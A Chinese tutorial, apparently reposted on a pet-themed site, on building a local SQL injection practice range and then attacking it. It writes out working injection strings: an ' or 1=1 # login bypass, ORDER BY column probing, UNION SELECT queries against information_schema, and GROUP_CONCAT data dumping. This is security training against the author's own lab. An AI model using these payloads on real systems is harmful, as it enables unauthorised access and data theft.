SQL注入——从零开始搭建靶场详细教程
一、环境依赖
VMware V15.5(可选)Windows 10 x64 虚拟机(可选)phpstudy V8.1MySQL V5.7.26(在phpstudy内选择)Nginx 1.15.11(在phpstudy内选择)PHP V5.6.9(在phpstudy内选择)SQLyog(可用phpstudy内其他软件代替)成绩管理系统靶场二、靶场搭建
安装以上环境和软件
为模拟真实情况,靶场搭建在虚拟机内,而访问在物理机上完成(可选)
当然,操作均在物理机上进行也没问题
以下操作均在虚拟机内完成
Ⅰ、下载靶场文件
–>靶场文件传送门<–
提取码:244q
Ⅱ、创建网站
phpstudy --> 网站 --> 创建网站 --> 填写域名、端口、根目录,更改PHP版本
物理路径选择解压的靶场路径(需修改成全英文)
请确认版本信息
Ⅲ、更改数据库root密码
数据库 --> 修改root密码 --> 将root密码修改为123456(与靶场数据库保持一致)
靶场数据库密码在query.php可以查询
<?php require_once('query.html'); $db=mysql_connect('127.0.0.1','root','123456'); ... 1234
Ⅳ、新建并导入数据库
打开SQLyog --> 新建 --> 填写主机地址为localhost、密码为123456
左侧栏 --> 右键创建数据库
名称自拟,建议设置成grade
–> 单击选中新建数据库 --> 将靶场文件夹内的.sql文件拖入SQLyog -->左上角执行全部
导入成功后右下会有提示
成功后即可关闭SQLyog
Ⅴ、验证访问靶场
浏览器输入localhost:端口号访问靶场
三、实战练习
以下操作在物理机上进行
访问靶场前使用CMD得到虚拟机IP
Ⅰ、嗅探字段
①、验证合法性输入' #、任意英文字符串、任意数字串验证合法性
若查询结果无报错则语句合法
use mysqli报错是由于使用了过时的PHP连接数据库函数,在此处不影响注入操作
查询学号基于SQL语法:
SELECT 学号 FROM 数据表 WHERE 名字 = ’ {输入的名字} ’
因此构造了以下语句
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ # ’
查找空名字对应的学号,#号将后接入的’注释了
输入' or 1=1 #构造语句
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ or 1=1 # ’
or使得查询条件变为True,即全查询
出现所有结果表明学号存在注入点
尝试使用万能账户' or 1=1 #登录,成功
(密码任填)
接下来查找字段名
使用F12 --> Network 查看发包方式
从而知道用户名字段名称为user
输入' ORDER BY -1 #查看是否有字段存在
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ ORDER BY -1 # ’
按照第-1列排序(第一列为1),若无报错证明至少存在一列
有字段存在后,从1开始递增反复查询直到报错
报错列-1即是字段总数
Ⅱ、嗅探数据库信息
使用联合查询UNION SELECT XXX得到所需信息
输入'UNION SELECT USER() #查询用户名输入'UNION SELECT VERSION() #查询数据库版本输入'UNION SELECT DATABASE() #查询当前数据库名…
…
Ⅲ、嗅探数据表信息
①、查询所有表基础数据库有以下几个库information_schema、mysql、performance_shcema、sys
它们记录了整个数据库的基本信息
输入' UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() #查询所有数据表信息
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ‘ UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() # ’
第一个查询无返回值,第二个查询是在information_schema这个数据库的TABLES表内进行
得到当前数据库包含的所有表的名称
(TABLES表内有所有表的信息)
输入' UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = "表名"#查询表的所有列名
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = “表名”# ’
第一个查询无返回值,第二个查询是在information_schema这个数据库的COLUMNS表内进行
得到指定数据表包含的所有列的名称
若有重复表,请同时指定数据库名和表名
Ⅳ、爆数据
前提是拿到表结构、字段信息
输入' UNION SELECT GROUP_CONCAT(列1,列2,...,列n) FROM 表名 #
得到指定表指定列的数据
其中,GROUP_CONCAT表示相同行组合便于查看
SELECT 列1,...,列n也可
完
欢迎在评论区留言
感谢浏览
相关知识
【护网急训】应急响应靶场集,24年想参加hvv的同学抓紧练习吧。
宠物行业专题报告:萌宠时代,结宠同行.PDF
教程:超详细从零开始yolov5模型训练
仓鼠上手教程
狗狗训练从零开始阅读记录.docx
宠臣训狗教程,如何解决,狗狗乱咬东西,如何跟狗狗玩玩具,以及精力旺盛#训狗教程 #训狗 #全套训狗教程 #训狗教程从零开始 #训狗课堂 #训狗经验分享 #创作灵感
定点大小便,训练成果展示,希望你们更有信心,加油#训狗教程 #训狗 #训狗教程从零开始 #训狗经验分享
架设传世sf教程视频
应急响应靶场(近源渗透OS
【应急响应靶场web1】
网址: SQL注入——从零开始搭建靶场详细教程 https://www.mcbbbk.com/newsview315092.html
上一篇: 基于nodejs+vue宠物猫管 |
下一篇: 如何组装猫树 |
推荐分享

- 1我的狗老公李淑敏33——如何 5096
- 2南京宠物粮食薄荷饼宠物食品包 4363
- 3家养水獭多少钱一只正常 3825
- 4豆柴犬为什么不建议养?可爱的 3668
- 5自制狗狗辅食:棉花面纱犬的美 3615
- 6狗交配为什么会锁住?从狗狗生 3601
- 7广州哪里卖宠物猫狗的选择性多 3535
- 8湖南隆飞尔动物药业有限公司宠 3477
- 9黄金蟒的价格 3396
- 10益和 MATCHWELL 狗 3352